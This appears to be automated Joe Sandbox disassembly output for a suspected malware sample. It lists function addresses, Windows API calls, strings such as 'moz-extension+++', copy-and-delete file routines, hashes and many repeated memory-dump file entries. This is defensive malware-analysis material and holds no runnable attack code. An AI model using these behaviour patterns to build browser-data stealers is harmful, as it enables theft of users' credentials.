Associated: 00000000.00000002.1831713551.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007AF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007B2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007D1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.0000000000802000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000080F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000082F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000083B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000083E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000008C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000008E5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000008EB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000096A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1832186716.000000000097C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_720000_Eae0KTw4m1.jbxd

Yara matches

Similarity

API ID: Heap$AllocCloseOpenProcessQueryValue
String ID:
API String ID: 3466090806-0
Opcode ID: 09d1efc6430168cc41406ab2a7f2d02392aeb772a294c7ed31a614cedb8a4dbb
Instruction ID: 11145d83a93b8728256d122afbc42b3e575595c47f240959220f560ba909e62e
Opcode Fuzzy Hash: 09d1efc6430168cc41406ab2a7f2d02392aeb772a294c7ed31a614cedb8a4dbb
Instruction Fuzzy Hash: EC0136B5A54208BBDB00DFD0DC49FAEB7B8FB48701F008159FA05A7280D6B4AA019F51

Function 00730740 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 217COMMON

Download Yara Rule

APIs

StrCmpCA.SHLWAPI(00000000,015FD6F8), ref: 0073079A
StrCmpCA.SHLWAPI(00000000,015FD7B8), ref: 00730866
StrCmpCA.SHLWAPI(00000000,015FD7C8), ref: 0073099D

Part of subcall function 0073A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0073A7E6

Strings

`_s, xrefs: 00730A40, 00730A54, 00730803, 0073091B, 00730806, 0073091E, 00730A43

Memory Dump Source

Source File: 00000000.00000002.1831599975.0000000000721000.00000080.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000000.00000002.1831561661.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831639049.000000000073E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831674983.000000000074B000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000076A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007A5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007AF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007B2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007D1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.0000000000802000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000080F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000082F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000083B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000083E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000008C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000008E5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000008EB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000096A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1832186716.000000000097C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_720000_Eae0KTw4m1.jbxd

Yara matches

Similarity

API ID: lstrcpy
String ID: `_s
API String ID: 3722407311-1136227119
Opcode ID: 81a89ad7deb903399d22350bafdfe1151284212dbea3f0b5d8e21e7e691f5442
Instruction ID: 1151ac377ba8076b435170caa461105c36d3323c4258ff7221be7cc715e80b23
Opcode Fuzzy Hash: 81a89ad7deb903399d22350bafdfe1151284212dbea3f0b5d8e21e7e691f5442
Instruction Fuzzy Hash: 52918975A10208EFDB18EF64D996BED77B5FF94300F408528E8499F242DB34AA05CB92

Function 00730765 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 197COMMON

Download Yara Rule

APIs

StrCmpCA.SHLWAPI(00000000,015FD6F8), ref: 0073079A
StrCmpCA.SHLWAPI(00000000,015FD7B8), ref: 00730866
StrCmpCA.SHLWAPI(00000000,015FD7C8), ref: 0073099D

Part of subcall function 0073A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0073A7E6

Strings

`_s, xrefs: 00730803, 0073091B, 00730806, 0073091E

Memory Dump Source

Source File: 00000000.00000002.1831599975.0000000000721000.00000080.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000000.00000002.1831561661.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831639049.000000000073E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831674983.000000000074B000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000076A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007A5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007AF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007B2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007D1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.0000000000802000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000080F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000082F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000083B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000083E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000008C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000008E5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000008EB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000096A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1832186716.000000000097C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_720000_Eae0KTw4m1.jbxd

Yara matches

Similarity

API ID: lstrcpy
String ID: `_s
API String ID: 3722407311-1136227119
Opcode ID: 44cdbc33f3cf78456cece67d348913073fe71a419ad07b2c40d70e61eb91fe91
Instruction ID: e90b2da56dbe6e7a2130775cc53ea1d55ff61f6226ac09508fc01b1791d7e9fb
Opcode Fuzzy Hash: 44cdbc33f3cf78456cece67d348913073fe71a419ad07b2c40d70e61eb91fe91
Instruction Fuzzy Hash: 19817875B10208EFDB18EF64D996AEDB7B5FF94300F508529E4499F242DB34AA05CB82

Function 0072A0A0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 116libraryCOMMON

Download Yara Rule

APIs

GetEnvironmentVariableA.KERNEL32(015FD618,C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;,0000FFFF,?,?,?,?,?,?,?,?,?,?,?,00730153), ref: 0072A0BD
LoadLibraryA.KERNEL32(01600D28,?,?,?,?,?,?,?,?,?,?,?,00730153), ref: 0072A146

Part of subcall function 0073A740: lstrcpy.KERNEL32(t,00000000), ref: 0073A788

Part of subcall function 0073A820: lstrlenA.KERNEL32(00000000,?,?,00735B54,00740ADB,00740ADA,?,?,00736B16,00000000,?,015F14B8,?,0074110C,?,00000000), ref: 0073A82B
Part of subcall function 0073A820: lstrcpy.KERNEL32(t,00000000), ref: 0073A885

Part of subcall function 0073A9B0: lstrlenA.KERNEL32(?,00741110,?,00000000,00740AEF), ref: 0073A9C5
Part of subcall function 0073A9B0: lstrcpy.KERNEL32(00000000), ref: 0073AA04
Part of subcall function 0073A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0073AA12

Part of subcall function 0073A920: lstrcpy.KERNEL32(00000000,?), ref: 0073A972
Part of subcall function 0073A920: lstrcatA.KERNEL32(00000000), ref: 0073A982

Part of subcall function 0073A8A0: lstrcpy.KERNEL32(?,t), ref: 0073A905

SetEnvironmentVariableA.KERNEL32(015FD618,00000000,00000000,?,007412D8,?,00730153,C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;,00740AFE), ref: 0072A132

Strings

C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;, xrefs: 0072A0B2, 0072A0C6, 0072A0DC

Memory Dump Source

Source File: 00000000.00000002.1831599975.0000000000721000.00000080.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000000.00000002.1831561661.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831639049.000000000073E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831674983.000000000074B000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000076A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007A5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007AF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007B2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007D1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.0000000000802000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000080F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000082F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000083B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000083E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000008C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000008E5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000008EB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000096A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1832186716.000000000097C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_720000_Eae0KTw4m1.jbxd

Yara matches

Similarity

API ID: lstrcpy$EnvironmentVariablelstrcatlstrlen$LibraryLoad
String ID: C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;
API String ID: 2929475105-3463377506
Opcode ID: 691abb851e79fc5df3cdb7cb671f35d50fa0a626d9085ee5fb1970f6a9de3b0e
Instruction ID: 1790d6b28633db28a613e9302a6fc318c58d5675455ecce101e28f13d51e2ce5
Opcode Fuzzy Hash: 691abb851e79fc5df3cdb7cb671f35d50fa0a626d9085ee5fb1970f6a9de3b0e
Instruction Fuzzy Hash: 814152B1929104EFD705EF64ED5AEA933B4B745301F04012DF505B32A1EBB95944EF53

Function 00726BE0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 66memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNEL32(?,?,@Jnr,@Jnr), ref: 00726C9F

Strings

Jnr, xrefs: 00726C1D, 00726C39, 00726C88, 00726C98, 00726C04, 00726C28, 00726C33
@Jnr, xrefs: 00726C80, 00726C83
Jnr, xrefs: 00726BED, 00726C0D, 00726C8F

Memory Dump Source

Source File: 00000000.00000002.1831599975.0000000000721000.00000080.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000000.00000002.1831561661.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831639049.000000000073E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831674983.000000000074B000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000076A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007A5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007AF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007B2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007D1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.0000000000802000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000080F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000082F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000083B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000083E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000008C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000008E5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000008EB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000096A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1832186716.000000000097C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_720000_Eae0KTw4m1.jbxd

Yara matches

Similarity

API ID: ProtectVirtual
String ID: @Jnr$Jnr$Jnr
API String ID: 544645111-1437143612
Opcode ID: 07b916f598cecfefae30538d983e2fefa0574753d8a235ac9d804d683aac09f2
Instruction ID: c168142532797d295f89ba96f56b9b35bceeb19c0a42388581062a56a8801aab
Opcode Fuzzy Hash: 07b916f598cecfefae30538d983e2fefa0574753d8a235ac9d804d683aac09f2
Instruction Fuzzy Hash: AB210C74E00218EFDB04DF89D594BADBBB1FF48314F10829AD599AB341D739AA81DF90

Function 0072A260 Relevance: 6.4, APIs: 4, Instructions: 370filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 0073A740: lstrcpy.KERNEL32(t,00000000), ref: 0073A788

Part of subcall function 0073A9B0: lstrlenA.KERNEL32(?,00741110,?,00000000,00740AEF), ref: 0073A9C5
Part of subcall function 0073A9B0: lstrcpy.KERNEL32(00000000), ref: 0073AA04
Part of subcall function 0073A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0073AA12

Part of subcall function 0073A8A0: lstrcpy.KERNEL32(?,t), ref: 0073A905

Part of subcall function 00738B60: GetSystemTime.KERNEL32(?,015F4B68,007405AE,?,?,?,?,?,?,?,?,?,00724963,?,00000014), ref: 00738B86

Part of subcall function 0073A920: lstrcpy.KERNEL32(00000000,?), ref: 0073A972
Part of subcall function 0073A920: lstrcatA.KERNEL32(00000000), ref: 0073A982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0072A2E1
lstrlenA.KERNEL32(00000000,00000000), ref: 0072A3FF
lstrlenA.KERNEL32(00000000), ref: 0072A6BC

Part of subcall function 0073A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0073A7E6

Part of subcall function 00729E10: memcmp.MSVCRT(?,v20,00000003), ref: 00729E2D

DeleteFileA.KERNEL32(00000000), ref: 0072A743

Memory Dump Source

Source File: 00000000.00000002.1831599975.0000000000721000.00000080.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000000.00000002.1831561661.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831639049.000000000073E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831674983.000000000074B000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000076A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007A5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007AF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007B2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007D1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.0000000000802000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000080F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000082F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000083B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000083E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000008C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000008E5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000008EB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000096A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1832186716.000000000097C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_720000_Eae0KTw4m1.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTimememcmp
String ID:
API String ID: 257331557-0
Opcode ID: 2808bab1f1ac045e581128060a42402a843f11ad125b52b072c38761ab19d00f
Instruction ID: b1146edaf091a8349d7e5b5cb6d168fec0a3e68dc34fc9fc591e9903f7635bbe
Opcode Fuzzy Hash: 2808bab1f1ac045e581128060a42402a843f11ad125b52b072c38761ab19d00f
Instruction Fuzzy Hash: 1EE1E572810118FBEB05FBA4DC97EEE7378AF14300F508169F55672092EF786A49DB62

Function 0072D780 Relevance: 6.2, APIs: 4, Instructions: 221filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 0073A740: lstrcpy.KERNEL32(t,00000000), ref: 0073A788

Part of subcall function 0073A9B0: lstrlenA.KERNEL32(?,00741110,?,00000000,00740AEF), ref: 0073A9C5
Part of subcall function 0073A9B0: lstrcpy.KERNEL32(00000000), ref: 0073AA04
Part of subcall function 0073A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0073AA12

Part of subcall function 0073A8A0: lstrcpy.KERNEL32(?,t), ref: 0073A905

Part of subcall function 00738B60: GetSystemTime.KERNEL32(?,015F4B68,007405AE,?,?,?,?,?,?,?,?,?,00724963,?,00000014), ref: 00738B86

Part of subcall function 0073A920: lstrcpy.KERNEL32(00000000,?), ref: 0073A972
Part of subcall function 0073A920: lstrcatA.KERNEL32(00000000), ref: 0073A982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0072D801
lstrlenA.KERNEL32(00000000), ref: 0072D99F
lstrlenA.KERNEL32(00000000), ref: 0072D9B3
DeleteFileA.KERNEL32(00000000), ref: 0072DA32

Memory Dump Source

Source File: 00000000.00000002.1831599975.0000000000721000.00000080.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000000.00000002.1831561661.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831639049.000000000073E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831674983.000000000074B000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000076A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007A5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007AF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007B2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007D1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.0000000000802000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000080F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000082F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000083B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000083E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000008C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000008E5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000008EB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000096A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1832186716.000000000097C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_720000_Eae0KTw4m1.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: 75b4ad8449869b9efc6fdb718c34eb513079d6a9c751660e1f0120237182e668
Instruction ID: 3ed3b174a4f300901743e9cf6633f7ebec8905293d3e392737dba013dcd012b5
Opcode Fuzzy Hash: 75b4ad8449869b9efc6fdb718c34eb513079d6a9c751660e1f0120237182e668
Instruction Fuzzy Hash: 8D81E572910118FBEB05FBA4DD9BEEE7378AF14300F504129F54676092EF786A09DB62

Function 0072F4A0 Relevance: 6.2, APIs: 2, Strings: 2, Instructions: 154stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0073A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0073A7E6

Part of subcall function 007299C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 007299EC
Part of subcall function 007299C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00729A11
Part of subcall function 007299C0: LocalAlloc.KERNEL32(00000040,?), ref: 00729A31
Part of subcall function 007299C0: ReadFile.KERNEL32(000000FF,?,00000000,007302E7,00000000), ref: 00729A5A
Part of subcall function 007299C0: LocalFree.KERNEL32(007302E7), ref: 00729A90
Part of subcall function 007299C0: CloseHandle.KERNEL32(000000FF), ref: 00729A9A

Part of subcall function 00738E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00738E52

Part of subcall function 0073A740: lstrcpy.KERNEL32(t,00000000), ref: 0073A788

Part of subcall function 0073A9B0: lstrlenA.KERNEL32(?,00741110,?,00000000,00740AEF), ref: 0073A9C5
Part of subcall function 0073A9B0: lstrcpy.KERNEL32(00000000), ref: 0073AA04
Part of subcall function 0073A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0073AA12

Part of subcall function 0073A8A0: lstrcpy.KERNEL32(?,t), ref: 0073A905

Part of subcall function 0073A920: lstrcpy.KERNEL32(00000000,?), ref: 0073A972
Part of subcall function 0073A920: lstrcatA.KERNEL32(00000000), ref: 0073A982

StrStrA.SHLWAPI(00000000,00000000,00000000,?,?,00000000,?,00741580,00740D92), ref: 0072F54C
lstrlenA.KERNEL32(00000000), ref: 0072F56B

Strings

^userContextId=4294967295, xrefs: 0072F59C
moz-extension+++, xrefs: 0072F5AD

Memory Dump Source

Source File: 00000000.00000002.1831599975.0000000000721000.00000080.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000000.00000002.1831561661.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831639049.000000000073E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831674983.000000000074B000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000076A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007A5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007AF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007B2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007D1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.0000000000802000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000080F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000082F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000083B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000083E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000008C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000008E5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000008EB000.00000004.00000001.01000000.00000003.sdmpDownload File
